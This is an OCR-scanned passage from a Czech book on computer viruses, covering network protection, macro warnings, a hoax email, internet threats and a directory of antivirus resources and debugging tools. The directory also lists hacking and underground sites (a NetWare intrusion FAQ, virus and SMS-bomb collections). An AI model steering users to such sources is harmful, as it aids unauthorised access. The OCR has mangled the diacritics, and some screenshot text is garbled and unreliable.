to skutecné jeho prace vyzaduje. Zakladnim pravidlem pro Sifeni viru po siti je, ze uZivatel
muZe zavirovat server pouze tam, kde mé definované opravnéni dovolujici i zapis.

Bezpelnost pocitacovych siti zavisi na bezpeénosti fidiciho serveru a na bezpecnosti pra-
covnich stanic.
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Virus muiize napadnout server bud tim, Ze na server je nakopirovan infikovany soubor, ne-
bo spusténim programu ze serveru, ktery je posléze infikovan prostfednictvim viru, jenz je
pritomen v paméti pracovni stanice.

V pfipadé snahy o maximalni bezpeénost sité lze doporudit pfipojeni bezdiskovgych pra-
covnich stanic. Takovéto stanice, pokud neobsahuji ani disketové jednotky, vyluéuji pfimou
moZnost zavirovani serveru.

o Pozor na nové spustitelné pripony
Bézny uzivatel byl zvykly, Ze soubory s pfiponou COM a EXE neni radno bezhlavé spoustét.
Nastup Windows vSak pfinasi nékolik dalsich pfipon, které jsou na prvni pohled bezpecné.
Jde predevsim o piipony SHS a VBS, pouZivané skripty. Neni-li si uZivatel ptiponou soubo-
ru jistg, je potfeba bezpodmineéné proveést jeho antivirové provéreni.

P#i ochrané proti virim v neposledni fadé hraje velkou roli vzdélavaci proces. UZivatelé
pocitacti by meéli byt obeznédmeni se zakladnimi charakteristikami vir(, s jejich projevy a ze-
jména s otazkou prevence. Zakladni dvé pravidla — pravidelné zalohovat a nespoustét cizi ne-
provéfené programy a dokumenty prichéazejici z Internetu, by mél zvlddat Gplné kazdy.

e Ochrana proti makroviram
Z&kladni prevenci proti makrovirim je zapnuti pfislusné volby v nastaveni pfislusného pro-
gramu (Word, Excel apod.). Pak, je-li oteviran soubor obsahujici makra, dojde ke zobrazeni
pfislusného varovéani s moznosti obsazena makra vypnout (viz obr.23).

Warning |

The document you are opening contains macros of customizations, Some Mackos may
contain wiruses that could harm your computer,

If vou are sure this document is fram a trusted source, click
Enable Macros, IF wou are not sure and wank ko prevent any Tell Me Mare |
macros From running, click Disable Macros,

W always ask before opening documents with macros or custamizations

Enable Macros | Do Mok Open |

Obrdézek 23: Varovéni, které mizZe zabrénit dtoku makroviru

8. Pocitacové viry a Internet

Obrovsky rozvoj celosvétové pocitacové sité Internet s sebou pfinasi i celou fadu otazek a obav
o bezpelnost uzivatele. Je evidentni, Ze obrovsky zajem o Internet lakéa i tvlirce vird k novému
pokuseni. Otazka, zda miiZe virus napadnout pocita¢ prostfednictvim Internetu &i jiné pocitaco-
vé sité, nabgva na dileZitosti.
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8.1. Potencialni moznosti virového utoku

Klasické dosové viry v zadném pfipadé nemohou sif Internet infikovat. Ob&asné zpravy o zavi-
rovani Internetu jsou zvelicovany a mylné spojovany s vyskytem zavirovaného souboru na né-
kterém z pfistupnych servert. MozZnost zavirovani prostfednictvim Internetu ma dvé zakladni
podoby, kdy virus se v neaktivni podobé nakopiruje na pocita uzivatele:

¢ Elektronicka posta (e-mail)
JelikoZ lze prostfednictvim elektronické posty zasilat i soubory, existuje tim padem i moznost
zasilani soubor( zavirovangch. Nejvétsim soucasnym nebezpedim jsou makroviry a ervi. Frek-
vence prenost textovgch dokumenttl je obrovska a Gistup klasickgch ASCII textli vytvaii makro-
viram idealni podminky pro Sifeni. Prikladem je jiz citovany makrovirus Word-Xenixos, kterg
byl prostfednictvim elektronické posty zaslan do diskusni skupiny alt.comp.virus. Diskusni sku-
piny a konference jsou idealnim ter¢em makrovirt.

Za virové hrozby se povazuiji i rizné ,letadlové” poplasné zpravy (anglicky hoax), vybize-
jici k rozeslani obdrZzeného e-mailu véem svim zndmgm, varujici nejcastéji pred otevienim ji-
ného e-mailu, kterg se tdajné potuluje po Internetu. Je aZ neuvéfitelné, kolik lidi na toto na-
leti a zapoji se do tohoto ,virového“ fetézce. K nejznaméjsim patii Join the Crew:
WARNING!!'!

I[f you receive an e-mail titled ”"JOIN THE CREW” DO NOT open it! It will
erase EVERYTHING on your hard drive! Send this Tetter out to as many
people you can...This is a new virus and not many people know about it!

No kdo by odolal takovému varovani a jesté k tomu v angli¢ting?

¢ Anonymni servery FTP

Sluzba anonymniho FTP umoziuje volny pristup vSem uZivatelim Internetu k volné $ifitel-

ngm soubortm. To vytvafi opét idealni podminky pro Siteni virt. P¥ikladem je rovnéz cito-

vany makrovirus Word-Nuclear, kter( se sifil Internetem pomoci dokumentu, popisujiciho ji-
ng makrovirus Word-Concept.

Pro soubory ziskané prostfednictvim Internetu plati obdobné bezpelnostni antivirova pra-
vidla jako pro kterékoliv jiné:

- Kazdy prichozi soubor antivirové otestovat. Neni dobré podléhat fale3né predstavé, Ze sou-
bory z Internetu jsou zarucené bezpecné.

— Nové verze antivirovich programt kopirovat pfimo z FTP nebo webového serveru pfislus-
nych antivirovych firem. Rozhodné neni vhodné kopirovat antivirové programy z podezie-
Igch zrcadlicich (mirror) servert. Velkou obezietnost si zasluhuji i soubory staZzené z under-
groundovych servertl.

Skuteéné internetové viry se zatim nevyskytuji. Teoreticky smér jejich zaméfeni by musel
koncepcné sméfovat k podobé popsaného Morrisova Cerva. Realizace vlastniho Siteni Inter-
netem pak lezZi na slabinach protokolu TCP/IP a snaze ziskat vstup do pfislusné domeény. Jiz
jsou zndmy pokusy hackerti o podvrhy falesngch IP-adres se snahou ziskat neopravnény pti-
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stup do dané domény &i kradeze spojeni TCP/IP, kdy infiltraéni rutina éeka na korektni
ukonéeni spojeni TCP/IP v okamziku odhléSeni uzivatele, aby odhlaseni odfiltrovala a sama
pokracovala ve spojeni. IP-adresa je hlavnim zranitelngm mistem, nebot umoZziuje nezvané-
mu hostu, aby si nastavil poZadovanou adresovou masku daného systému a tim zde ziskal
neopravnény pristup. Obranou je filtrace pfichazejicich pakettl, které se prohlasuji za pficho-
zi z daného systému.

Dalsi moZnosti je nastupujici rozvoj sluzby WWW. PHimé operace se soubory rovnéz po-
skytuji, pfi nedostatené nastavené konfiguraci webového serveru, jisté eventuality vyuZitelné
pocitaCovymi viry.

Proti vdem uvedenym hrozbam na béazi protokolt rodiny TCP/IP se stéle vice prosazuji
tzv. ochranné zdi (firewally). Firewall je bezpefnostni brana vytvofena s cilem:

— zablokovat inkriminované sluzby (napt. fttp),

— skryt nékteré sluzby (napf. DNS),

- zakr{t interni [P-adresy,

- modifikovat nékteré sluzby (napf. telnet, ftp, e-mail),
- umoZnit zaznam udéalosti.

Prakticka realizace firewallu umoziiuje na izolovaném bezpeénostnim systému provéfovat
pFichazejici i odchéazejici informace pracovniho systému. Firewall tedy nepiipusti utok zvendi
a navic ma moznost zabranit i zneuZiti zevnitt. Tvrda ,cenzura“ dokumentt na viskyt klico-
vch tabu - slov, opoustégjicich pracovni systém, je jednou z moznosti.

Firewally jako takové neprovadéji antivirovou kontrolu. Nékteré vsak mohou obsahovat za
timto Gi€elem vestavény modul (plug-in), nejcastéji skenujici pfichozi postu.

Bezpecnost firewalltl je testovana programy pro vyhodnocovani slabin dané sité, zejména
konfiguraéniho charakteru. P¥ikladem je program SATAN, ktery umoziiuje az t¥i testovaci
trovné.

¢ Bezpecnostni diry

Jeden ze zékladnich Murphyho pocitacovich zakont turdi, Ze v kaZzdém programu je alespoi
jedna chyba. BohuZel realita neni zdaleka tak optimisticka. Témé¥ kazda verze stéZejnich we-
bovich prohlizecli a postovnich klientli v sobé miva nejednu bezpeénostni diru, umoZziujici
nedtvéryhodnému kédu ziskat kontrolu nad pocitaem. V pfipadé webovich prohlizect je
na bezpecnostni diry velmi citlivou komponentou vestavény interpret Javy. Na adrese
http:/www.nat.bg/” joro/ je mozno najit solidné zpracovany piehled dér Internet Exploreru
a Netscapu. Pfikladem druhli bezpetnostnich dér je preteCeni vnitfniho bufferu programu
Outlook a Outlook Express.

8.2. Informacni zdroje a (anti)virové zamérené servery

Poctitacova sit Internet je v dnedni dobé jednim z nejmoderngjsich prosttedkii, pomoci kterého
Ize ziskat nové informace z vétsiny oblasti lidského déni. Pochopitelné i problematika poéita-
Covich (anti)virtl je na Internetu hojné zastoupena. K dispozici jsou zejména Siroké moznosti
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diskusnich konferenci a skupin, anonymnich servertt FTP a zejména webovych stranek. Disku-
tované jsou i veobecné problémy kolem pocitatovich virl, jako je napft. otazka kdo a pro¢ vi-
ry tvofi, pravni aspekty Sifeni virti i problematika pocitatové bezpecénosti a ochrany dat obecné.

Uvedené seznamy stézejnich adres FTP a webov{ych servert jsou fazeny abecedné a podlé-
haji zkdze ¢asem. Nékteré servery i weboveé stranky se obcas stéhuji na jinou adresu, pfip. do-
chézi i k jejich zruseni.

8.2.1. USENET (newsgroup) a diskusni konference (e-mail)
¢ Slovenska konference antivir-:

Ptihlaseni (odhlaseni) konference - zaslani e-mailu na adresu

listserv@ccsun.tuke.sk

jehoz obsahem pro pfihlaSeni je jeding fadek zpravy

subscribe antivir e-mailova_adresa

a pro odhla3eni

unsubscribe antivir

Adresa pro pfispévky konference - antivir@ccsun.tuke.sk

¢ Anglicky mluvena konference VIRUS-L:
Ptihlaseni (odhlaseni) konference - zaslani e-mailu na adresu

listserv@lehigh.edu

jehoz obsahem pro pfihlaseni je jeding fadek zpravy
SUB VIRUS-L Jmeno Prijmeni

a pro odhlaseni

SIGNOFF VIRUS-L

Adresa pro pfispévky konference - virus-I@Ilehigh.edu

e Newsgroup comp.virus:
Skupina comp.virus je jinou moznosti dosazitelnosti vyse uvedené konference VIRUS-L,
ktera je distribuovana v tzv. digest formatu (komplety news p¥ispévka sdruzené do jednoho
dopisu).

¢ Newsgroup alt.comp.virus:
Alternativa k diskusni skupiné comp.virus.

8.2.2. Virové zamérené textové dokumenty (FAQ, RFC)

Kromé béznych ¢lankud, Gvah a stati o pocitacovych virech, existuje na Internetu fada dostup-
ngch dokumentti vysoce odborné zamétrenych. Stroha fakta bez pfidavné omacky jsou idealni
pro pochopeni podstaty problému. Jde o dokumenty typu FAQ a RFC, které ucelené a srozu-
mitelné mapuji danou problematiku. Kouzlo Internetu tkvi ve skuteénosti, Ze zejména prostied-
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nictvim FAQ muZe uzivatel ziskat informace o zajimavych oblastech nejen technického sméru.
Existuji dokonce i FAQ tzce zaméfené na jeden filmovy &i knizni titul. Naprosto bézné jsou FAQ
vénované herctim, zpévakam, k méani je dokonce i FAQ komety Hyakutake, ktera brazdila i na-
§i hvézdnou oblohu.

Dost nepochopitelny je viak trend posledni doby. Rada vyhledava&em nalezengch odkazi ne-

ni platna. Samotné informace nejsou pfili§ aktualizovany, bohuzel i véetné dokumentt FAQ.

K problematice pocitatovich virti a ochrany dat s viry souvisejici jsou k dispozici nasledujici

dokumenty (uvedena je i adresa pfislusného anonymniho FTP nebo webového serveru pro pii-
padné zajemce):

VIRUS-L/comp.virus FAQ
http://omicron.felk.cvut.cz/FAQ/articles/a858.html

Zakladni FAQ k problematice pocitacovych virli, které obsahuje definici viru, clenéni virt
podle rizngch hledisek ¢i vysvétlujici odlinosti jednotlivgch virovgch kategorii apod.

Na adrese http;/omicron.felk.cvut.cz/FAQ/fagindex.html lze nalézt fadu jingch virove
zaméfenych FAQ.

Antiviral Software Evaluation FAQ
http://www.bocklabs.wisc.edu/~janda/avse_faqg.html

FAQ zabyvajici se problematikou antivirové ochrany, pouZivanych antivirovgch metod
véetné jejich slabych stranek a ptednosti. Toto FAQ ptedpoklada znalost FAQ pfedchoziho.
Posledni update se datuje rokem 1996.

Macro Viruses FAQ
http://emt.doit.wisc.edu/wordvirusFAQ/wordvirus.FAQ.toc.html

FAQ k problematice makrovirti. Popisovany jsou zakladni vlastnosti spolu s nejrozsitengj-
$imi wordovgmi makroviry. Podobné jako pfedchozi FAQ ani toto nejevi znamky prilisné ak-
tualizace.

The World Wide Web Security FAQ
http://www.w3.0rg/Security/Faq/www-security-faqg.html

Problematika bezpecnosti internetové sluzby WWW. Popsény jsou podminky pro béh bez-
pecného webového serveru, zplsoby ochran dokumentl, moZznosti skriptl a specifika jed-
notlivch operacnich prostfedi.

RSA Laboratories’ FQA About Today’s Cryptography
http://www.rsasecurity.com/rsalabs/faq/
FAQ popularni Sifrovaci metody.

Hacking Novell Netware FAQ
http://infomanage.com/internet/hacking/faq/novellhack.html
http://www.nmrc.org/fags/netware/index.html

FAQ upozorijici na zakladni moznosti ziskani neopravnéného pristupu k uZivatelskgm
¢taim, souboriim a adresarum sifového systému Novell Netware.
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e RFC 1135 - The Helminthiasis of the Internet
Podrobny popis internetového Eerva Roberta Morrise z roku 1988. Prehledné je uvede-
no, co €erv na systémové trovni provadél a co naopak neprovadél.
Dokumenty FAQ i RFC jsou zrcadleny na vybranych ¢eskych serverech a jejich lokalizace
je jednoduchéa vyhledanim aktualniho stavu vgskyta klicovich slov FAQ a RFC nékterym
z domécich internetovich vyhledavacich prostfedki. Pro dokumenty RFC je to:

ftp://ftp.muni.cz/pub/rfc/

8.2.3. Anonymni servery FTP

U vSech uvedenych adres je potieba pti pfihlaseni pti pouZiti FTP klienta zadat nazev Gétu ano-
nymous a jako vstupni heslo e-mailovou adresu uzivatele. Seznam je tvofen vZdy jménem ser-
veru a piislusného adresare s (antijvirovgmi informacemi.

e F-Prot FTP
complex.is
/pub

e Garbo archives - F-Prot, VSUM, IM a dalsi antivirova smés, opét nepfilis aktualni
garbo.uwasa.fi
/pc/virus

e SAC (Slovak Antivirus Center) - velice solidni antivirova viehochuf
ftp.elf.stuba.sk
/pub/pc/avir
Specialné za zminku stoji soubor /pub/pc/avir/hmus???e.zip s aktualni verzi heuristického
makrovirového skeneru HMVS, ktery umoziiuje vygenerovat zdrojové tvary maker, obsaze-
nych v testovanych dokumentech. To je velice uZite¢né pro bezpelnou analjzu napadengych
dokument.

e SIMTEL - pfedni zdroj volné sifitelnych antivirovich programu
nic.funet.fi
/pub/msdos/Simtel/virus

e Virus Test Center — stéZejni antivirové programy a dalsi uziteéné informace
ftp.informatik.uni-hamburg.de
/pub/virus
/pub/virus/texts/catalog (Computer Virus Catalog)
/pub/virus/texts/carobase (CAROBASE)

8.2.4. World Wide Web (WWW)

Webové stranky jsou dnes nejoblibenéjsim prostfedkem pro surfovéani Internetem zejména diky
sjednoceni dfive oddélengch jednotlivich sluzeb nizsi arovné (FTP, Telnet...). Nepodstatna je
i skute¢nost klient1 ,user friendly®, jez umoznuji velice pohodlnou préci, a to mnohdy i s mul-
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timedialni podporou. Je proto zcela pochopitelné, Ze i odkazy na zajimavé stranky budou do-
minantnim subjektem této kapitoly.

Naprosta vétsina webovych stranek podporuje odkazy na dalsi stranky tématicky stejné zamé-
fené. V tom tkvi hlavni sila WWW, nebot uZivateli vlastné staci ziskat adresu jediné stranky k da-
né problematice a pomoci odkazl ziskava adresy dalsi. Obrovska vghoda, na druhou stranu viak
tato podpora skrgva nebezpedi, Ze se uzivatel ve spleti zajimaviych odkazli doslova utopi.

¢ Adam Young
http://www.cs.columbia.edu/~ayoung
Webova stranka tzkého vztahu mezi poéitatovymi viry a kryptografii.

o AEC
http://www.aec.cz
Webovéa stranka doméci firmy AEC, kterd se angaZuje zejména v oblastech antivirovgch
a bezpecnostnich feseni a kryptografie.

e ALWIL Software
http://www.anet.cz/alwil/alwil.htm
Dalsi tuzemskd webova stranka virobce a distributora antivirového programu AVAST
a bezpecnostniho programového systému SUP.

e AVG - GRISOFT SOFTWARE
http://www.grisoft.cz
Webova stranka virobce antivirového programu AVG, vyznadujictho se zejména silnou
vazbou na heuristickou metodu detekce virt.

AVG Anti-Virus

Nova revoluéni technologie
Obsah | Technologie | Objednavka | Trial verze | Update | Virové forum | GRISOFT FAQ

& AG
Novinky ¢

Bezrestartovy update -
wyccin wpdate 177,
tenfolerdf g
hegrestarfovy..

f o e— Dwn-ﬂold
Trial

Mefnavitivovandysi wab -
ndse strawiky se sfalp v
fervm
NEMAVETEVOvanESimi...

AVG Quitook Express

5.4 Plugin - byla vydina
daldi vefgind verze AVG
pro Guflook Express 5.0

Frivofena novd sekce pro \Dll'lkﬂn/

sitovou spravi pomaosi
AVGADMING

Obrézek 24: Webova stranka firmy GRISOFT
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¢ Digital Information Society
http://www.phreak.org/html/main.shtml
Siroce zaméfeny pocitatovy underground.
¢ Eddy Willems Free Anti-Virus Consultancy
http://gallery.uunet.be/ewillems/
Velice komplexni pfehled odkazli na antivirové programy, oblast bezpecnosti dat, virové
FAQ spolu s bréanou do delikatni oblasti pocitatového podsvéti Computer Underground.

B \WAVC - INDEX [l
QEOME @A TI@ TR @57 @DIST @ DEV
@ FTE @ WILD @ CHAT @ ENCY @ DIV @ CFAQ
@ wHAT @EAQLA BFAQ2A BEAQ3A @ EAQL, @ MFAQ
@ SOFT @ VIRUS B BOCOKS @ NEWS1 @ NEWS2 @ UMD

Eddy Willems Free Anti-Virus Consultancy Int.

WAVY(]

Welcome to the W.AV.C.L Homepage.

Please update your link now to our domain hitp=/www wavcicom

\ Every week new Anti-Virus Links or Sites: Now > 1140 different AV Links | ‘\

Obrdzek 25: Webovd strdnka Eddy Willemse

¢ Eliashim
http://www.eliashim.com
Produkty zaméfené na antivirovou oblast a otdzku bezpeénosti dat spolu se sdruzenim
Aladdin Knowledge Systems pro ochranu dat pocitatového obchodovani.
o F-Prot
http://www.complex.is
Webova stranka ptredniho antivirového programu.
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o F-Secure Computer Virus Info Center (dfivéjsi Data Fellows)
http://www.f-secure.com/virus-info/
Prohledavatelna ,,Virus description database“. Na pfibuzné adrese http;/europe.datafe-
llows.com/virus-info/bulletins/ je k dispozici ,,F-Secure Anti-Virus Bulletin®.
o Hostile Applets

http://www.meurrens.org/ip-Links/Java/codekEngineering/papers/hostile-ap-
plets.html

http://securite.ensicaen.ismra.fr/private/securite/Web/Java/Hosti-
leApplets.html
http://www.java.org.il/hostile/hostile_applet.html
Tfi viceméné totozné obsahy, popisujici mozné podoby hrozeb javovich applett.
¢ Integrity Master
http://www.stiller.com
Dal$i mozné pojeti antivirové ochrany, tentokrat ve spojeni s kontrolou integrity dat.
e Igiho stranka o virech
http://www.viry.cz

Dobfte zpracovana, technicky zaméfena, prehledova webova stranka virové problematiky
v Cestine.

Spokojite se s béinym antivirovym programem?
st e

X —~ —
S AEC

imka
irech

Novinky

N The Bat!
-
Knifa o virech pa— ; ROOT
7 ) =4 BONUS i 8 evue!| Programo-

Univerzaini antivivy
Testy antivird
Slovnik pojmii
Recenze
Rozhovory

Odkazy

Download

Posledni (prava: 22.7 2000

Novinky ze svéia

Autor & Zdrofe

-:‘r‘f'ﬁ 0d 24.7. aZ do konce cervence jsem mimo (fyzicky :)
e Proto nebude po tuto dobu "lgiho strénka o virech” aktualizovéna. _
W‘F ‘ﬁ Dikuji za pochopent AN KE TA .
! Pokud zvolite NE, zaviruje se
Yzkazy mOZete posilat na +4206045213666@sms. pasgas.cz. am pofitag. Je to mozZné ?
£ AND =
@ PC Viruses In the Wild 07/2000 ——
Na adrese wwnwildlist.org Ize stéhnout posledni seznam nejroziifengjsich virl "PC Viruses In the CHE =
Wild". Mezi naprosto nejrozifengjgi podle ngj patfi:
TAU%EZ)
1

Obrézek 26: Igiho strénka o virech
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¢ Internet Explorer & Netscape crashing and security
http://www.nat.bg/~joro/
Bezpelnostni diry nejuzivanéjsich weboviych prohlizecu.
e Kaspersky Lab
http://www.avp.ru
Rada antivirovgch produktti pro fadu platforem a Virus Newsletter.
http://www.avp.ch/avpve/
AVP Virus Encyclopedia (AVPVE), vysoce kvalitni.

e Mc-Afee
http://www.mcafee.com
Webova strénka antivirového klasika s antivirovgm centrem na adrese http;/www.mcafee.com/an-
ti-virus/. Mc-Afee je soucasti asociace Network Associates, kde na adrese http://www.nai.com
Ize naijit ptipadné dalsi Mc-Afeeho stranky.

e NOD32
http://www.eset.sk
Rychly slovensky antivir.

¢ Norman Virus Control
http://www.norman.com/
Norman Virus Control a spojeni s ThunderBYTE AntiVirusem (http;/www.norman.com/
tbav.shtml), dfive dostupnym na adrese http;/www.thunderbyte.com/.

e Occultforces underground
http://www.occultforces.f2s.com/home.htm]
Viry, SMS bomby a jing undergroundovy material.

e Panda
http://www.pandasoftware.com
Antivirovy program branici se i hrozicimu nebezpedi z Internetu. UmoZiuje mj. nastavit
blokovéani pfistupu k uréenym [P-adresam, webovym strankam &i portam.
¢ PC-cillin
http://www.antivirus.com/pc-cillin/
Soucasné komplexni zaméfeni PC-cillinu je bezpetné surfovani z domaciho PC.

¢ Ralf Brown

http://www.cs.cmu.edu/afs/cs.cmu.edu/user/ralf/pub/WWh/
Domovska stranka tvirce legendarniho Interrupt Listu.
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e Secureindex
http://www.morehouse.org/hin/index.htm
Rozsahla kolekce undergroundovich magazinti, soubort a textu.

o Symantec Antivirus Center
http://www.symantec.com/avcenter/
Dalsi encyklopedie, ve srovnani s AVPVE rozsahlejsi, le¢ kvalitou podavanych informaci
slabsi
e Virus Bulletin
http://www.virusbtn.com
Technicky magazin o v{voji na poli antivirovich produkti.

TT T T( N

L L E T

LIUVUN)

THE INTERNATIONAL FUBLICATION ON COMPUTER VIRUS PREVENTION, RECOGNITION AND
VB 100% Awand REMOVAL

Subscriptions
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computer vituses and anti-virus products - for mere information, check out the Subscription Information pages.
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Obrézek 27: Virus Bulletin

e Virus Encyclopedia
http://www.viruslist.com
Encyklopedie, obsahujici detailni informace o vice nez 30 000 znamych virech, jejich dé-
leni, metodach detekce a lécby.
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The biggest virus encyclopedia
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Obrézek 28: Virus Encyclopedia

e Virus Test Center
http://agn-www.informatik.uni-hamburg.de/vtc/
Antivirové testovaci centrum na Univerzité v Hamburgu s archivem, délenym do t# sku-
pin uzivateltl pocitact fad Amiga, Macintosh a PC.

I/z'rus T estCenter &

r
University of Hamburg

Commputer Science Departmeny VU8 Test Cenler o

AW-Links FTP:Docs FTP: Beanner YTC honotaty members German page

Malware Warnings
@ VESLoveletter
@ W32 ExploreZip. worm

@ UELSnoop
@ Wing5/CTH -

Virus Lists

@ List of Enown Macro Viruses (as of Way 3th, 2000)

@ List of Enown Script Viruses

Obrdzek 29: Webovd strdnka Virus Test Centra v Hamburgu
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o WildList Organization International
http://www.wildlist.org
Vd&i organizace informujici o aktualnich virech Sificich se svétém.

Horne

REWS
information

Reporters
Wildlist
Papers

In the Wild
Wirus
Descriptions

Frequenthy
Asked
Questions

Report @
WVirus

The WildList Organization International

Welcorne to the World Wide Web Site of The WildList Organization International, the world's premier source of
inforrmation on which viruses are spreading In the Wild, But don't take ourword for it. Read what PC Magozine,
MENBC ond others howve to say about us here.

We've just odded o new section, THARNEKS, to show our appreciation for all those who hove helped us out over
the years.

We're glso in the process of re-doing our WWYW site, odding features which you've asked for. For starters, we're
going to be providing Wirus Descriptions of the In the Wild viruses. Plecse keep In mind that your Anthirus
product vendor is still the best source of information regarding the Technical support of their products,

Names, names, names. How are viruses named? Which name is the 'correct' names? Read 'How Sclentific
Marming Works' by Jos Wells.,

We've also added a FAQ, which will be updated when we receive new questions from users.

The WildList archives are still on-line, and we've made note of a few places you can find decent tests of antivirus
software in our 'Product Testing' section. This arec will be expanding to include published papers on the fopic.

We're now offering the e-mall addresses of The WildLst Reporters in ecsy-To-use format, as well os biographies of
these world-class experts.. You can read theirstories in their own woards, We're constantly updating this section

Obrézek 30: Wildlist Organization International







1. Programova podpora pro praci s viry

Virologie je slangovy nazev pro oznaceni ,védy“ zkoumajici pocitacové viry. Virolog je pak pro-
gramator, kter§ provadi analyzu zachycenych virti. Dfive vsak, neZ se miize programétor zacit
hloubéji zajimat o poéitacové viry, musi mit potfebné znalosti o pfislusném operaénim systému
a zékladni programové vybaveni. Uvedené programy netvoti uceleny komplet, podavaji pouze
zakladni informace o zfejmé nejpouzivanégjsich programovgch pomiickach. Samoziejmé plati,
Ze tyto pomucky nachézeji svoje vghodné uplatnéni i v nevirovém programovani.
e TechHelp - The Electronic Reference Manual
Vgborny hypertextovy privodce operaénim systétmem MS-DOS z ryze systémového hledis-
ka, nikoliv uzivatelského. Forma k¥iZovych odkazli umoziuje velice rychlé vyhledani prislus-
né informace spolu s moznosti pfechodu na p#ibuzné odkazy.

Obréazky 31 az 34 ukazuji zakladni koncepci TechHelpu. Na obr. 34 jsou vidét informace
ziskané po stisku kurzoru na polozce ,35H Get Vector® z obr. 33. TechHelp v tomto piipa-
dé podéava uplné Gdaje o vstupnich a vstupnich parametrech sluzby (funkce) 35H volani
Dosu spolu s pfislusngm komentafem. Odtud méa uzivatel moZnost vrétit se o jednu troven
zpét &i zanofit se o dalsi troven hloubéji na pfibuzné odkazy.

Obdobné popisy se samoziejmé vyskytuji i v tisténé podobé, nicméné vzhledem k moz-
nosti rezidentni instalace TechHelpu, ktera umoziuje jeho vyvoléni nap¥. pfimo z editoru pfi
psani zdrojového textu programu, je zfejmé elektronicka podoba vhodné;si.

Ma-li programéator jazykové bariéry, muZe volit pfipadné Cesky ekvivalent SysMan, kterg
navic podchycuje a opravuje chyby v TechHelpu obsaZené. Na rozdil od TechHelpu, bézné
dostupného na stanicich BBS, je viak SysMan produkt komeréniho charakteru. Pro srovna-
ni s TechHelpem obr. 35 poskytuje ekvivalentni informace s obr. 34.
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D03
D03 Functions
DOS Function Groups
DOS Interrupts

Error Codes

File nAttributes
File fllocation Table
File Handles

Config.3ys
Device Drivers

DOS Versions

Debug Commands
Standard I-0

Program StartupsExit
fihout DOS Functions
The DOS Environment

TECH Topics

BIO3 & Hardware
ROM-BIOS Functions
EGA
UGA

EMS
Mouse Support

ROM-BIOS Data Area
I-0 Port Map
General Memory Map

ROM-Scan
CMO3 Storage Layout

Keybhoard Scan Codes
Screen fAttributes

Switch Settings
88x86-87 Opcodes

Obrézek 31: TechHelp — obsah
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Characters & Codes
ASCII
ASCIInDecoaHexusBinary XRef

Box & Special Characters
ASCII Control Codes
Character 3et Matrix

ANSI Escape 3equences
Extended ASCII Keystrokes

Epzon~IBM Printer Codes
Helpt! Syntax

Exit from Help!?

General Index

DOS & BIOS Service Index
DOS & BIOS Data Structures

Interrupts and ROM-BIOS Services

18H
11H
1ZH
13H
14H
15H
16H
17H
18H
19H
1aH
1kH
1cH
ZBH—ZfH

33H
67H

Obrdzek 32: TechHelp - preruseni a sluzby BIOSu

INT 1dH
INT 1eH
INT 1fH

BIOS Variahles
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DOS Functions

DOS Fn Groups DOS Interrupts

B8H 13H
B1H 14H
B2ZH 15H
B3H 16H
B4H 17H
B5H 19H
B6H 1laH
B7H 1hH
B8H 1cH
@9H 1fH
BaH Z1H
@hH ZZH
BcH Z3H
BdH Z4H
BeH Z5H

Obrézek 33: TechHelp — funkce Dosu

DOS Fn 35H: Get Interrupt Vector

DOS Functions

Obrdzek 34: TechHelp - cilové informace o funkci Dosu 35H
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055 DOS Fn 35H: €ti vektor pFerusfeni

Ugstup ‘ ES:BX adresa programu pro obsluhu pFerusSeni

: Urati hodnotu vektoru pFeruSeni pro vektor INT (AL): tj. maplni BX
hodnotou 0000:[AL=4]1 a ES5 hodnotou 0000:[(AL=4)+2].

Pozor — méni se hodnota segmentového registru ES.

iz téZ : 2Z5H Nastav vektor pFeruseni Funkce DOSu

ESC-Zp&t F1-Pomoc F2-Ceftina F3-Listuj F5-Hledej Fo-Opakuj hledani F10-Konec

Obrdzek 35: SysMan - cilové informace o funkci Dosu 35H

K tématice systémového popisu MS-DOSu je velice uzitetnym zdrojem kniha [Schulman,
A. & spol.: Undocumented DOS (A Programmer’s Guide to Reserved MS-DOS Functi-
ons and Data Structures), Addison-Wesley Publishing Company, Inc., 1991], obsahujici
podrobny popis nedokumentovanych sluZzeb Dosu. Ptilozena disketa obsahuje navic hyper-
textovy program podobny TechHelpu, vénovany pravé nedokumentovanym tdajim Dosu.
Dalsi informadni zdroje zasluhujici pozornost jsou [Duncan, R.: Advanced MS-DOS Program-
ming, The Microsoft Guide for Assembly Language and C Programmers] a [Duncan,
R.: The MS-DOS Encyclopedia], rovnéz dostupné na stanicich BBS.

¢ Debugger
Debugger je ladici program a pro praci s viry naprosto nepostradatelny pomocnik, af uz ryze
Kklasicky softwarovy ¢&i s podporou hardwaru (napt. Periscope). Debugger umoziuje hlavné
krokovat sledovany program po jednotlivich instrukcich a zjisfovat pfip. ménit stav registri
procesoru &i obsahu paméti. Mezi frekventované debuggery patfi Turbo Debugger firmy
Borland, maly a sympaticky Advanced Fullscreen Debug Professional (AFD) (obr. 36) ¢i
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v s

jing (v pFipadé nouze nejvyssi lze pouZit i systémovy debug.exe). Kazdy z uvedengch progra-
mu najde svoje uplatnéni. Tam, kde je mohutnost Turbo Debuggeru prekazkou, pfijde vhod
AFD. AFD i pfes svoji minimalni velikost, poskytuje typickou pracovni plochu s moZnosti
zmén uvedengch hodnot registril, zasobniku ¢&i paméti. K dispozici je i podpora pro ovlada-
ni mysi.

SI 8168 Cs 39F1 IP 8119 Stack

DI 8EE8 DS 39F1

BEF 8068 ES 39F1 HS 39F1
3P FFFB6 33 39F1 F3 39F1

DL,C5:[B747+511

CX,06F8
C3:[BX1,DL

BX
a11p
AH, @F

El 1e i ri

Obrdzek 36: AFD - rozvrZeni pracovni plochy

¢ Quaid Analyzer - rezidentni debugger
Debugger, umoziujici nadefinovat, pfi ktergch prerusenich ma dojit k jeho aktivaci. Lze na-
stavit, zda méa dojit k aktivaci pfi vstupu do pferudeni nebo pfi jeho ukonceni. Obsahuje vi-
ceokenni pracovni plochy — instrukéni okno, vektorové okno, ladici okno volanych sluzeb
a uzivatelské okno. To umoZiuje sledovat systémové akce jak na trovni instrukci (obr. 37),
tak na Grovni provadénygch sluzeb sledovanych preruseni (obr. 38). Quaid Analyzer je ideal-
ni prosttedek i pro ladéni rezidentnich programu.



Moderni poéitacové viry Podstata, prevence, ochrana

[hx+sil,al
Juaid fAnalyzer [hx+sil,al
Instruction Display [hx+sil,al
[hx+sil,al
[hx+sil,al
[hx+sil,al
Bees BBeg [hx+sil,al
35da:0088 BBBO [hx+sil,al
35da:0088 BBBO ah, 38
36h6:0788 BBBO DOS call
0BB6 :0eee al,Bz
35ea:0010 a@1d
